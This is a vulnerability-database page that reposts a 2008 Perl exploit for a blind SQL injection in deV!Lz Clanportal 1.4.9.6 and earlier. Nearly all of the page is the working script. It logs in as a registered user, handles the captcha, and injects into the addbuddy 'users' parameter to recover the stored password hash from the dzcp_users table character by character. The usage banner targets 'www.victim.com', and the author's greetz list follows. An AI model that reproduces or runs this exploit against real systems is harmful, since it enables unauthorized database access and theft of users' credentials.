Lucene search

K
seebugRootSSV:65878
HistoryJul 01, 2014 - 12:00 a.m.

deV!Lz Clanportal [DZCP] <= 1.4.9.6 - Blind SQL Injection Exploit

2014-07-0100:00:00
Root
www.seebug.org
1771

No description provided by source.


                                                use HTTP::Cookies;
use LWP::UserAgent;
 
my $ua    = LWP::UserAgent-&#62;new( cookie_jar =&#62; HTTP::Cookies-&#62;new,);
 
$ua-&#62;agent( &#39;Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9&#39; );
 
usage();
print &#34;\n&#34;;
 
$server =   $ARGV[0];
$dir = $ARGV[1];
$username =   $ARGV[2];
$password = $ARGV[3];
 
if (!$password) { die &#34;Argh! Read teh Usage!\n&#34;; }
 
$url0 = &#34;http://&#34;.$server.$dir.&#34;user/index.php&#34;;
$url1 = $url0.&#34;?action=login&do=yes&#34;;
$url2 = $url0.&#34;?action=buddys&do=addbuddy&#34;;
 
syswrite(STDOUT, &#34;[x]Connecting...&#34;, 16);
 
$response = $ua-&#62;get($url0);
if($response-&#62;is_success) {syswrite(STDOUT, &#34;OK&#34;, 2);} else { print &#34;\n[x]Ey I couldn&#39;t connect to &#34;.$url0; exit;}
print &#34;\n&#34;;
 
$captcha = ($response-&#62;content =~ m/secure=login/i) ? 1 : 0;
 
if($captcha) { captcha(); }
 
$response = (!$captcha) ? $ua-&#62;post($url1, [ &#34;user&#34; =&#62; $username, &#34;pwd&#34; =&#62; $password ]) : $ua-&#62;post($url1, [ &#34;user&#34; =&#62; $username, &#34;pwd&#34; =&#62; $password , &#34;secure&#34; =&#62; $imgCode]);
 
if($response-&#62;content =~ m/Sicherheitsscode/i) { print &#34;[x]Lol you gave me wrong image code. Restart!&#34;; exit; }
elsif($response-&#62;content =~ m/gesperrt/i) { print &#34;[x]Omg you gave me wrong user details. Restart!&#34;; exit; }
 
$response = $ua-&#62;get($url2);
 
print &#34;[x]Kay, unleashing BlackMagic now. Getta Coffee and wait!!\n&#34;;
 
my @Daten;
array();
 
my $operator;
 
syswrite(STDOUT, &#34;[x]Password: &#34;, 13);
 
for($b=1;$b&#60;=32;$b++) { inject(0,16); }
 
print &#34;\n[x]OmFg I made it!!\n&#34;;
print &#34;[x]Have FUN!\n&#34;;
print &#34;[x]Greetz & Shoutz go to: IP-Sh0k, haZl0oh, bizzit, NoNePub, thund3r ,ramon,\n&#34;;
print &#34;   J0hn.X3r, electron1x, Paloxus, -tmh- aka B-Baerchi, Nazrek aka Patrick_B, WooMic, codeblu815\n&#34;;
print &#34;   Free-Hack, Sys-Flaw, SoH and h4ck-y0u!\n&#34;;
print &#34;[x]Biggest Thanks go to Shadowleet aka \$h4d0wl33t who is simply the best at his stuff!&#34;;
 
sub hex_to_ascii($)
{       
        (my $str = shift) =~ s/([a-fA-F0-9]{2})/chr(hex $1)/eg;
        return $str;
}
sub inject 
{
    $beg = $_[0]; $end = $_[1];   
    $mid = int(($beg + $end)/2); #print $mid.&#34;\n&#34;;
    if(&equals($mid))
    {       
        syswrite(STDOUT, hex_to_ascii($Daten[$mid]), 1);                 
        return;   
    }
    elsif(&bigger($mid)) { return inject($mid + 1, $end); }   
    else { return inject($beg, $mid - 1); }       
}
 
sub equals { $ack = $_[0]; if( &request(&#34;=&#34;, $ack) !~ m/1242/i) { return 1; } }
 
sub bigger { $ack = $_[0]; if(&request(&#34;&#62;&#34;, $ack) !~ m/1242/i) { return 1; } }
 
sub request
{   
    $operator = $_[0]; $bick = $_[1];                             #probably only users without dzcp_
    $response = $ua-&#62;post($url2, [ &#34;users&#34; =&#62; &#34;999 and if(substring((select pwd from dzcp_users limit 0,1),&#34;.$b.&#34;,1)&#34;.$operator.&#34;0x&#34;.$Daten[$bick].&#34;,null,(select 1 union select 2))&#34; ]);
    #print $response-&#62;content;
    return $response-&#62;content;
}
 
sub usage()
{
    print q
    {
    ------------------NON PUBLIC EXPLOIT-----------------
    #####################################################
            deV!L`z Clanportal BlackMagic EXPLOIT         
                  -Exploit coded by h0yt3r-             
     Usage: devilz.pl [Server] [Path] [Username] [Password]
     Sample:                           
     perl devilz.pl www.victim.com /devilz/ h0yt3r 1337 
 
     Exploit requires Username and Password, as the vul-
     nerable file is only visible for registered users! 
    #####################################################
    };
 
}
 
sub captcha
{
    print &#34;[x]Captcha required!\n&#34;;
    $captchaURL = &#34;http://&#34;.$server.$dir.&#34;/antispam.php?secure=login&#34;;
    my $captchaReq= $ua-&#62;get($captchaURL);
    open(IMG,&#34;&#62;captcha.jpg&#34;);
    binmode IMG;
    print IMG $captchaReq-&#62;content;
    close IMG;
    system(&#39;start captcha.jpg&#39;);
    print &#34;[x]Image Code: &#34;;
    $imgCode = &#60;STDIN&#62;;
    chop($imgCode);   
}
 
sub array
{
    for($b=30;$b&#60;=39; $b++) { push(@Daten,$b); }
    for($b=61;$b&#60;=66; $b++) { push(@Daten,$b); }
}

# milw0rm.com [2008-11-02]